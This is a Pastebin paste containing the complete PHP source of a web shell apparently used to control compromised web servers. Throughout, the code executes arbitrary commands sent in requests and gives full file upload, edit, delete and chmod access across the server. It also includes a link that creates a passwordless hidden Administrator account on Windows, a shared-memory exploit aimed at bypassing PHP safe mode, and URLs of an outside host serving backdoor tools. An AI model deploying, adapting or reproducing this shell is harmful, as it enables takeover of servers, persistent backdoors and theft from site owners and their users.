itachi_jeni

minha shell

Oct 18th, 2012
332
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.89 KB | None | 0 0
  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  2. <html>
  3.  
  4. <head>
  5. <meta http-equiv="Content-Language" content="pt-br">
  6. <meta name="GENERATOR" content="Microsoft FrontPage 5.0">
  7. <meta name="ProgId" content="AoD">
  8. <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
  9. <title>By xIgOr > AoD > CMD > File List</title>
  10. <style type="text/css">
  11. A:link {text-decoration:none}
  12. A:visited {text-decoration:none}
  13. A:hover {text-decoration:underline}
  14. A:active {text-decoration:underline}
  15. </style>
  16. </head>
  17. <body style="font-family: Tahoma; font-size: 10px">
  18. <?php
  19.  
  20. @set_time_limit(0);
  21.  
  22. $string = $_SERVER['QUERY_STRING'];
  23. $mhost = '../cmdlist.txt?';
  24. $host_all = explode("$mhost", $string);
  25. $s1 = $host_all[0];
  26. $fstring = $_SERVER['PHP_SELF']."?".$s1.$mhost;
  27.  
  28. $OS = @PHP_OS;
  29. $IpServer = '127.0.0.1';
  30. $UNAME = @php_uname();
  31. $PHPv = @phpversion();
  32. $SafeMode = @ini_get('safe_mode');
  33.  
  34. if ($SafeMode == '') { $SafeMode = "<i>OFF</i>"; }
  35. else { $SafeMode = "<i>$SafeMode</i>"; }
  36.  
  37. $btname = 'backtool.txt';
  38. $bt = 'http://www.full-comandos.com/jobing/r0nin';
  39. $dc = 'http://www.full-comandos.com/jobing/dc.txt';
  40. $newuser = '@echo off;net user Admin /add /expires:never /passwordreq:no;net localgroup &quot;Administrators&quot; /add Admin;net localgroup &quot;Users&quot; /del Admin';
  41. // Java Script
  42. echo "<script type=\"text/javascript\">";
  43. echo "function ChMod(chdir, file) {";
  44. echo "var o = prompt('Chmod: - Exemple: 0777', '');";
  45. echo "if (o) {";
  46. echo "window.location=\"\" + '{$fstring}&action=chmod&chdir=' + chdir + '&file=' + file + '&chmod=' + o + \"\";";
  47. echo "}";
  48. echo "}";
  49. echo "function Rename(chdir, file, mode) {";
  50. echo "if (mode == 'edit') {";
  51. echo "var o = prompt('Rename file '+ file + ' for:', '');";
  52. echo "}";
  53. echo "else {";
  54. echo "var o = prompt('Rename dir '+ file + ' for:', '');";
  55. echo "}";
  56. echo "if (o) {";
  57. echo "window.location=\"\" + '{$fstring}&action=rename&chdir=' + chdir + '&file=' + file + '&newname=' + o + '&mode=' + mode +\"\";";
  58. echo "}";
  59. echo "}";
  60. echo "function Copy(chdir, file) {";
  61. echo "var o = prompt('Copied for:', '/tmp/' + file);";
  62. echo "if (o) {";
  63. echo "window.location=\"\" + '{$fstring}&action=copy&chdir=' + chdir + '&file=' + file + '&fcopy=' + o + \"\";";
  64. echo "}";
  65. echo "}";
  66. echo "function Mkdir(chdir) {";
  67. echo "var o = prompt('Which name?', 'NewDir');";
  68. echo "if (o) {";
  69. echo "window.location=\"\" + '{$fstring}&action=mkdir&chdir=' + chdir + '&newdir=' + o + \"\";";
  70. echo "}";
  71. echo "}";
  72. echo "function Newfile(chdir) {";
  73. echo "var o = prompt('Which name?', 'NewFile.txt');";
  74. echo "if (o) {";
  75. echo "window.location=\"\" + '{$fstring}&action=newfile&chdir=' + chdir + '&newfile=' + o + \"\";";
  76. echo "}";
  77. echo "}";
  78. echo "</script>";
  79.  
  80. // End JavaScript
  81.  
  82. /* Functions */
  83. function cmd($CMDs) {
  84. $CMD[1] = '';
  85. exec($CMDs, $CMD[1]);
  86. if (empty($CMD[1])) {
  87. $CMD[1] = shell_exec($CMDs);
  88. }
  89. elseif (empty($CMD[1])) {
  90. $CMD[1] = passthru($CMDs);
  91. }
  92. elseif (empty($CMD[1])) {
  93. $CMD[1] = system($CMDs);
  94. }
  95. elseif (empty($CMD[1])) {
  96. $handle = popen($CMDs, 'r');
  97. while(!feof($handle)) {
  98. $CMD[1][] .= fgets($handle);
  99. }
  100. pclose($handle);
  101. }
  102. return $CMD[1];
  103. }
  104.  
  105. if (@$_GET['chdir']) {
  106. $chdir = $_GET['chdir'];
  107. } else {
  108. $chdir = getcwd()."/";
  109. }
  110. if (@chdir("$chdir")) {
  111. $msg = "<font color=\"#008000\">Entrance&nbsp;in&nbsp;the&nbsp;directory,&nbsp;OK!</font>";
  112. } else {
  113. $msg = "<font color=\"#FF0000\">Error&nbsp;to&nbsp;enters&nbsp;it&nbsp;in&nbsp;the&nbsp;directory!</font>";
  114. $chdir = str_replace($SCRIPT_NAME, "", $_SERVER['SCRIPT_NAME']);
  115. }
  116. $chdir = str_replace(chr(92), chr(47), $chdir);
  117.  
  118. if (@$_GET['action'] == 'upload') {
  119. $uploaddir = $chdir;
  120. $uploadfile = $uploaddir. $_FILES['userfile']['name'];
  121. if (@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $_FILES['userfile']['name'])) {
  122. $msg = "<font color=\"#008000\"><font color=\"#000080\">{$_FILES['userfile']['name']}</font>,&nbsp;the&nbsp;archive&nbsp;is&nbsp;validates&nbsp;and&nbsp;was&nbsp;loaded&nbsp;successfully.</font>";
  123. } else {
  124. $msg = "<font color=\"#FF0000\">Error&nbsp;when&nbsp;copying&nbsp;archive.</font>";
  125. }
  126. }
  127. elseif (@$_GET['action'] == 'mkdir') {
  128. $newdir = $_GET['newdir'];
  129. if (@mkdir("$chdir"."$newdir")) {
  130. $msg = "<font color=\"#008000\"><font color=\"#000080\">{$newdir}</font>,&nbsp;directory&nbsp;created successfully.</font>";
  131. } else {
  132. $msg = "<font color=\"#FF0000\">Error&nbsp;to&nbsp;it&nbsp;creates&nbsp;directory.</font>";
  133. }
  134. }
  135. elseif (@$_GET['action'] == 'newfile') {
  136. $newfile = $_GET['newfile'];
  137. if (@touch("$chdir"."$newfile")) {
  138. $msg = "<font color=\"#008000\"><font color=\"#000080\">{$newfile}</font>,&nbsp;created successfully!</font>";
  139. } else {
  140. $msg = "<font color=\"#FF0000\">Error&nbsp;to&nbsp;tries&nbsp;it&nbsp;creates&nbsp;archive.</font>";
  141. }
  142. }
  143.  
  144. elseif (@$_GET['action'] == 'del') {
  145. $file = $_GET['file']; $type = $_GET['type'];
  146. if ($type == 'file') {
  147. if (@unlink("$chdir"."$file")) {
  148. $msg = "<font color=\"#008000\"><font color=\"#000080\">{$file}</font>,&nbsp;successfully&nbsp;excluded&nbsp;archive!</font>";
  149. } else {
  150. $msg = "<font color=\"#FF0000\">Error&nbsp;to&nbsp;it&nbsp;I&nbsp;excluded&nbsp;archive!</font>";
  151. }
  152. } elseif ($type == 'dir') {
  153. if (@rmdir("$chdir"."$file")) {
  154. $msg = "<font color=\"#008000\"><font color=\"#000080\">{$file}</font>,&nbsp;successfully&nbsp;excluded&nbsp;directory!</font>";
  155. } else {
  156. $msg = "<font color=\"#FF0000\">Error&nbsp;to&nbsp;it&nbsp;I&nbsp;excluded&nbsp;directory!</font>";
  157. }
  158. }
  159. }
  160. elseif (@$_GET['action'] == 'chmod') {
  161. $file = $chdir.$_GET['file']; $chmod = $_GET['chmod'];
  162. if (@chmod ("$file", $chmod)) {
  163.  
  164. $msg = "<font color=\"#008000\">Chmod&nbsp;of</font>&nbsp;<font color=\"#000080\">{$_GET['file']}</font>&nbsp;<font color=\"#008000\">moved&nbsp;for</font>&nbsp;<font color=\"#000080\">$chmod</font>&nbsp;<font color=\"#008000\">successfully.</font>";
  165. } else {
  166. $msg = '<font color=\"#FF0000\">Error&nbsp;when&nbsp;moving&nbsp;chmod.</font>';
  167. }
  168. }
  169. elseif (@$_GET['action'] == 'rename') {
  170. $file = $_GET['file']; $newname = $_GET['newname'];
  171. if (@rename("$chdir"."$file", "$chdir"."$newname")) {
  172. $msg = "<font color=\"#008000\">Archive</font>&nbsp;<font color=\"#000080\">{$file}</font>&nbsp;<font color=\"#008000\">named for</font>&nbsp;<font color=\"#000080\">{$newname}</font>&nbsp;<font color=\"#008000\">successfully!</font>";
  173. } else {
  174. $msg = "<font color=\"#FF0000\">Error&nbsp;to&nbsp;it&nbsp;nominates&nbsp;archive.</font>";
  175. }
  176. }
  177. elseif (@$_GET['action'] == 'copy') {
  178. $file = $chdir.$_GET['file']; $copy = $_GET['fcopy'];
  179. if (@copy("$file", "$copy")) {
  180. $msg = "<font color=\"#000080\">{$file}</font>,&nbsp;<font color=\"#008000\">copied for</font> <font color=\"#000080\">{$copy}</font> <font color=\"#008000\">successfully!</font>";
  181. } else {
  182. $msg = "<font color=\"#FF0000\">Error&nbsp;when&nbsp;copying</font>&nbsp;<font color=\"#000000\">{$file}</font>&nbsp;<font color=\"#FF0000\">for</font>&nbsp;<font color=\"#000000\">{$copy}</font></font>";
  183. }
  184. }
  185. /* Parte Atualiza 02:48 12/2/2006 */
  186.  
  187. elseif (@$_GET['action'] == 'cmd') {
  188. if (!empty($_GET['cmd'])) { $cmd = @$_GET['cmd']; }
  189. if (!empty($_POST['cmd'])) { $cmd = @$_POST['cmd']; }
  190. $cmd = stripslashes(trim($cmd));
  191. $result_arr = cmd($cmd);
  192.  
  193. $afim = count($result_arr); $acom = 0; $msg = '';
  194. $msg .= "<p style=\"color: #000000;text-align: center;font-family: 'Lucida Console';font-size: 12px;margin 2\">Results:&nbsp;<b>".$cmd."</b></p>";
  195. if ($result_arr) {
  196. while ($acom <= $afim) {
  197. $msg .= "<p style=\"color: #008000;text-align: left;font-family: 'Lucida Console';font-size: 12px;margin 2\">&nbsp;".@$result_arr[$acom]."</p>";
  198. $acom++;
  199. }
  200. }
  201. else {
  202. $msg .= "<p style=\"color: #FF0000;text-align: center;font-family: 'Lucida Console';font-size: 12px;margin 2\">Erro ao executar comando.</p>";
  203. }
  204. }
  205. elseif (@$_GET['action'] == 'safemode') {
  206. if (@!extension_loaded('shmop')) {
  207. echo "Loading... module</br>";
  208.  
  209. if (strtoupper(substr(PHP_OS, 0,3) == 'WIN')) {
  210. @dl('php_shmop.dll');
  211. } else {
  212. @dl('shmop.so');
  213. }
  214. }
  215.  
  216. if (@extension_loaded('shmop')) {
  217. echo "Module: <b>shmop</b> loaded!</br>";
  218.  
  219. $shm_id = @shmop_open(0xff2, "c", 0644, 100);
  220. if (!$shm_id) { echo "Couldn't create shared memory segment\n"; }
  221. $data="\x00";
  222. $offset=-3842685;
  223. $shm_bytes_written = @shmop_write($shm_id, $data, $offset);
  224. if ($shm_bytes_written != strlen($data)) { echo "Couldn't write the entire length of data\n"; }
  225. if (!shmop_delete($shm_id)) { echo "Couldn't mark shared memory block for deletion."; }
  226. echo passthru("id");
  227. shmop_close($shm_id);
  228.  
  229.  
  230. } else { echo "Module: <b>shmop</b> not loaded!</br>"; }
  231. }
  232.  
  233. elseif (@$_GET['action'] == 'zipen') {
  234. $file = $_GET['file'];
  235. $zip = @zip_open("$chdir"."$file");
  236. $msg = '';
  237. if ($zip) {
  238.  
  239. while ($zip_entry = zip_read($zip)) {
  240. $msg .= "Name: " . zip_entry_name($zip_entry) . "\n";
  241. $msg .= "Actual Filesize: " . zip_entry_filesize($zip_entry) . "\n";
  242. $msg .= "Compressed Size: " . zip_entry_compressedsize($zip_entry) . "\n";
  243. $msg .= "Compression Method: " . zip_entry_compressionmethod($zip_entry) . "\n";
  244.  
  245. if (zip_entry_open($zip, $zip_entry, "r")) {
  246. echo "File Contents:\n";
  247. $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
  248. echo "$buf\n";
  249.  
  250. zip_entry_close($zip_entry);
  251. }
  252. echo "\n";
  253.  
  254. }
  255.  
  256. zip_close($zip);
  257.  
  258. }
  259. }
  260. elseif (@$_GET['action'] == 'edit') {
  261. $file = $_GET['file'];
  262. $conteudo = '';
  263. $filename = "$chdir"."$file";
  264. $conteudo = @file_get_contents($filename);
  265. $conteudo = htmlspecialchars($conteudo);
  266. $back = $_SERVER['HTTP_REFERER'];
  267. echo "<p align=\"center\">Editing&nbsp;{$file}&nbsp;...</p>";
  268. echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse\" width=\"100%\" id=\"editacao\">";
  269. echo "<tr>";
  270. echo "<td width=\"100%\">";
  271. echo "<form method=\"POST\" action=\"{$fstring}&amp;action=save&amp;chdir={$chdir}&amp;file={$file}\">";
  272. echo "<!--webbot bot=\"SaveResults\" u-file=\"_private/form_results.csv\" s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" --><p align=\"center\">";
  273. print "<textarea rows=\"18\" name=\"S1\" cols=\"89\" style=\"font-family: Verdana; font-size: 10pt; border: 1px solid #000000\">{$conteudo}</textarea></p>";
  274. echo "<p align=\"center\">";
  275. echo "<input type=\"submit\" value=\"Save\" name=\"B2\" style=\"font-family: Tahoma; font-size: 10px; border: 1px solid #000000\">&nbsp;";
  276. echo "<input type=\"button\" value=\"Closes Publisher\" Onclick=\"javascript:window.location='{$fstring}&amp;chdir={$chdir}'\" name=\"B1\" style=\"font-family: Tahoma; font-size: 10px; border: 1px solid #000000\">&nbsp;";
  277. echo "</form>";
  278. echo "</td>";
  279. echo "</tr>";
  280. echo "</table>";
  281. }
  282. elseif (@$_GET['action'] == 'save') {
  283. $filename = "$chdir".$_GET['file'];
  284. $somecontent = $_POST['S1'];
  285. $somecontent = stripslashes(trim($somecontent));
  286. if (is_writable($filename)) {
  287. @$handle = fopen ($filename, "w");
  288. @$fw = fwrite($handle, $somecontent);
  289. @fclose($handle);
  290. if ($handle && $fw) {
  291. $msg = "<font color=\"#000080\">{$_GET['file']}</font>,&nbsp;<font color=\"#008000\">edited&nbsp;successfully!</font>";
  292. }
  293. } else {
  294. $msg = "<font color=\"#000000\">{$_GET['file']},</font>&nbsp;<font color=\"#FF0000\">cannot&nbsp;be&nbsp;written!</font>";
  295. }
  296. }
  297.  
  298. // Informa&#231;&#245;es
  299. $cmdget = '';
  300. if (!empty($_GET['cmd'])) { $cmdget = @$_GET['cmd']; }
  301. if (!empty($_POST['cmd'])) { $cmdget = @$_POST['cmd']; }
  302. $cmdget = htmlspecialchars($cmdget);
  303. function asdads() {
  304. $asdads = '';
  305. if (@file_exists("/usr/bin/wget")) { $asdads .= "wget&nbsp;"; }
  306. if (@file_exists("/usr/bin/fetch")) { $asdads .= "fetch&nbsp;"; }
  307. if (@file_exists("/usr/bin/curl")) { $asdads .= "curl&nbsp;"; }
  308. if (@file_exists("/usr/bin/GET")) { $asdads .= "GET&nbsp;"; }
  309. if (@file_exists("/usr/bin/lynx")) { $asdads .= "lynx&nbsp;"; }
  310. return $asdads;
  311. }
  312.  
  313. echo "<form method=\"POST\" name=\"cmd\" action=\"{$fstring}&amp;action=cmd&amp;chdir=$chdir\">";
  314. echo "<fieldset style=\"border: 1px solid #000000; padding: 2\">";
  315. echo "<legend>Informa&#231;&#245;es cmd ripped by corey</legend>";
  316. echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse; font-family: Tahoma; font-size: 10px\" width=\"100%\">";
  317. echo "<tr>";
  318. echo "<td width=\"8%\">";
  319. echo "<p align=\"right\"><b>Sistema:</b>&nbsp;</td></p>";
  320. echo "<td width=\"92%\">&nbsp;{$OS}</td>";
  321. echo "</tr>";
  322. echo "<tr>";
  323. echo "<td width=\"8%\">";
  324. echo "<p align=\"right\"><b>Uname:&nbsp;</b></td></p>";
  325. echo "<td width=\"92%\">&nbsp;{$UNAME}</td>";
  326. echo "</tr>";
  327. echo "<tr>";
  328. echo "<td width=\"8%\">";
  329. echo "<p align=\"right\"><b>PHP:&nbsp;</b></td></p>";
  330. echo "<td width=\"92%\">&nbsp;{$PHPv},&nbsp;<b>safe mode:</b>&nbsp;{$SafeMode}</td>";
  331. echo "</tr>";
  332. if (strtoupper(substr($OS, 0,3) != 'WIN')) {
  333. $Methods = asdads();
  334. if ($Methods == '') { $Methods = "???"; }
  335. echo "<tr>";
  336. echo "<td width=\"8%\">";
  337. echo "<p align=\"right\"><b>Methods:&nbsp;</b></td></p>";
  338. echo "<td width=\"92%\">&nbsp;{$Methods}</td>";
  339. echo "</tr>";
  340. }
  341.  
  342. echo "<tr>";
  343. echo "<td width=\"8%\">";
  344. echo "<p align=\"right\"><b>Ip:&nbsp;</b></td></p>";
  345. echo "<td width=\"92%\">&nbsp;{$IpServer}</td>";
  346. echo "</tr>";
  347. echo "<tr>";
  348. echo "<td width=\"8%\">";
  349. echo "<p align=\"right\"><b>Command:&nbsp;</b></td></p>";
  350. echo "<td width=\"92%\">&nbsp;<input type=\"text\" size=\"70\" name=\"cmd\" value=\"{$cmdget}\" style=\"font-family: Tahoma; font-size: 10 px; border: 1px solid #000000\">&nbsp;<input type=\"submit\" name=\"action\" value=\"Send\" style=\"font-family: Tahoma; font-size: 10 px; border: 1px solid #000000\"></td>";
  351. echo "</tr>";
  352. echo "</table>";
  353. echo "</fieldset></form>";
  354. // Dir
  355.  
  356. echo "<form method=\"POST\" action=\"{$fstring}&amp;action=upload&amp;chdir=$chdir\" enctype=\"multipart/form-data\">";
  357. echo "<!--webbot bot=\"FileUpload\" u-file=\"_private/form_results.csv\" s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" --><fieldset style=\"border: 1px solid #000000; padding: 2\">";
  358. if (is_writable("$chdir")) {
  359. if (strtoupper(substr($OS, 0,3) == 'WIN')) {
  360. echo "<legend>Dir&nbsp;<b>YES</b>:&nbsp;{$chdir}&nbsp;-&nbsp;<a href=\"#[New Dir]\" onclick=\"Mkdir('{$chdir}');\">[New Dir]</a>&nbsp;<a href=\"#[New File]\" onclick=\"Newfile('{$chdir}')\">[New File]</a>&nbsp;<a href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd=$newuser\">[Remote Access]</a></legend>";
  361. } else {
  362. echo "<legend>Dir&nbsp;<b>YES</b>:&nbsp;{$chdir}&nbsp;-&nbsp;<a href=\"#[New Dir]\" onclick=\"Mkdir('{$chdir}');\">[New Dir]</a>&nbsp;<a href=\"#[New File]\" onclick=\"Newfile('{$chdir}')\">[New File]</a>&nbsp;<a href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=yes\">[BackTool]</a></legend>";
  363. }
  364. }
  365. else {
  366. if (strtoupper(substr($OS, 0,3) == 'WIN')) {
  367. echo "<legend>Dir&nbsp;NO:&nbsp;{$chdir}&nbsp;-&nbsp;<a href=\"#[New Dir]\" onclick=\"Mkdir('{$chdir}');\">[New Dir]</a>&nbsp;<a href=\"#[New File]\" onclick=\"Newfile('{$chdir}')\">[New File]</a>&nbsp;<a href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd={$newuser}\">[Remote Access]</a></legend>";
  368. } else {
  369. echo "<legend>Dir&nbsp;NO:&nbsp;{$chdir}&nbsp;-&nbsp;<a href=\"#[New Dir]\" onclick=\"Mkdir('{$chdir}');\">[New Dir]</a>&nbsp;<a href=\"#[New File]\" onclick=\"Newfile('{$chdir}')\">[New File]</a>&nbsp;<a href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=no\">[BackTool]</a></legend>";
  370. }
  371. }
  372.  
  373. if (@!$handle = opendir("$chdir")) {
  374. echo "&nbsp;I&nbsp;could&nbsp;not&nbsp;enters&nbsp;in&nbsp;the&nbsp;directory,&nbsp;<a href=\"{$fstring}\">click here!</a>&nbsp;for&nbsp;return&nbsp;to&nbsp;the&nbsp;original&nbsp;directory!</br>";
  375. }
  376. else {
  377. echo " <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse; font-family: Tahoma; font-size: 10px\" width=\"100%\">";
  378. echo " <tr>";
  379. echo " <td width=\"100%\" style=\"font-family: Tahoma; font-size: 10px\" colspan=\"4\">&nbsp;Upload:";
  380. echo " <input type=\"file\" name=\"userfile\" size=\"91\" style=\"font-family: Tahoma; font-size: 10px; border-style: solid; border-width: 1\">";
  381. echo " <input type=\"submit\" value=\"Send\" name=\"B1\" style=\"font-family: Tahoma; font-size: 10px; border: 1px solid #000000\"></td>";
  382. echo " </tr>";
  383. echo " <tr>";
  384. echo " <td width=\"100%\" style=\"font-family: Tahoma; font-size: 10px\" colspan=\"4\">&nbsp;</td>";
  385. echo " </tr>";
  386. echo " <tr>";
  387. echo " <td width=\"100%\" style=\"font-family: Tahoma; font-size: 10px\" colspan=\"4\">";
  388. if (@!$msg) {
  389. echo " <p align=\"left\">Messages</td>";
  390. } else {
  391. echo " <p align=\"left\">$msg</td>";
  392. }
  393. echo " </tr>";
  394. echo " <tr>";
  395. echo " <td width=\"100%\" colspan=\"4\">&nbsp;</td>";
  396. echo " </tr>";
  397. echo " <tr>";
  398. echo " <td width=\"9%\">&nbsp;Perms</td>";
  399. echo " <td width=\"49%\">&nbsp;File </td>";
  400. echo " <td width=\"10%\">&nbsp;Size </td>";
  401. echo " <td width=\"32%\">&nbsp;Commands</td>";
  402. echo " </tr>";
  403. $colorn = 0;
  404. while (false !== ($file = readdir($handle))) {
  405. if ($file != '.') {
  406. if ($colorn == 0) {
  407. $color = "style=\"background-color: #FFCC66\"";
  408. }
  409. elseif ($colorn == 1) {
  410. $color = "style=\"background-color: #C0C0C0\"";
  411. }
  412. if (@is_dir("$chdir"."$file")) {
  413. $file = $file.'/';
  414. $mode = 'chdir';
  415. } else {
  416. $mode = 'edit';
  417. }
  418. if (@substr("$chdir", strlen($chdir) -1, 1) != '/') {
  419. $chdir .= '/';
  420. }
  421. if ($file == '../') {
  422. $lenpath = strlen($chdir); $baras = 0;
  423. for ($i = 0;$i < $lenpath;$i++) { if ($chdir{$i} == '/') { $baras++; } }
  424. $chdir_ = explode("/", $chdir);
  425. $chdirpox = str_replace($chdir_[$baras-1].'/', "", $chdir);
  426. }
  427. $perms = @fileperms ("$chdir"."$file");
  428. if ($perms == '') {
  429. $perms = '???';
  430. }
  431. $size = @filesize ("$chdir"."$file");
  432. $size = $size / 1024;
  433. $size = explode(".", $size);
  434. if (@$size[1] != '') {
  435. $size = $size[0].'.'.@substr("$size[1]", 0, 2);
  436. } else {
  437. $size = $size[0];
  438. }
  439. if ($size == 0) {
  440. if ($mode == 'chdir') {
  441. $size = '???';
  442. }
  443. }
  444. echo "<tr>";
  445. echo "<td width=\"9%\" $color>&nbsp;$perms</td>";
  446. if (@is_writable ("$chdir"."$file")) {
  447. if ($mode == 'chdir') {
  448. if ($file == '../') {
  449. echo "<td width=\"49%\" $color>&nbsp;<b><a href=\"{$fstring}&amp;chdir=$chdirpox\">$file</a></b></td>";
  450. } else {
  451. echo "<td width=\"49%\" $color>&nbsp;<b><a href=\"{$fstring}&amp;chdir={$chdir}{$file}\">$file</a></b></td>";
  452. }
  453. } else {
  454. if (is_readable("$chdir"."$file")) {
  455. echo "<td width=\"49%\" $color>&nbsp;<b><a href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a></b></td>";
  456. } else {
  457. echo "<td width=\"49%\" $color>&nbsp;<b>$file</b></td>";
  458. }
  459. }
  460. }
  461. else {
  462. if ($mode == 'chdir') {
  463. if ($file == '../') {
  464. echo "<td width=\"49%\" $color>&nbsp;<a href=\"{$fstring}&amp;chdir=$chdirpox\">$file</a></td>";
  465. } else {
  466. echo "<td width=\"49%\" $color>&nbsp;<a href=\"{$fstring}&amp;chdir={$chdir}{$file}\">$file</a></td>";
  467. }
  468. } else {
  469. if (@is_readable("$chdir"."$file")) {
  470. echo "<td width=\"49%\" $color>&nbsp;<a href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a></td>";
  471. } else {
  472. echo "<td width=\"49%\" $color>&nbsp;$file</td>";
  473. }
  474. }
  475. }
  476. echo "<td width=\"10%\" $color>&nbsp;$size&nbsp;KB</td>";
  477. if ($mode == 'edit') {
  478. echo "<td width=\"32%\" $color>&nbsp;<a href=\"#{$file}\" onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">[Rename]</a>&nbsp;<a href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=file\">[Del]</a>&nbsp;<a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">[Chmod]</a>&nbsp;<a href=\"#{$file}\" onclick=\"Copy('{$chdir}', '{$file}')\">[Copy]</a></td>";
  479. } else {
  480. echo "<td width=\"32%\" $color>&nbsp;<a href=\"#{$file}\" onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">[Rename]</a>&nbsp;<a href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=dir\">[Del]</a>&nbsp;<a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">[Chmod]</a>&nbsp;[Copy]</td>";
  481. }
  482. echo "</tr>";
  483. if ($colorn == 0) {
  484. $colorn = 1;
  485. }
  486. elseif ($colorn == 1) {
  487. $colorn = 0;
  488. }
  489. }
  490. }
  491. closedir($handle);
  492. }
Advertisement
Add Comment
Please, Sign In to add comment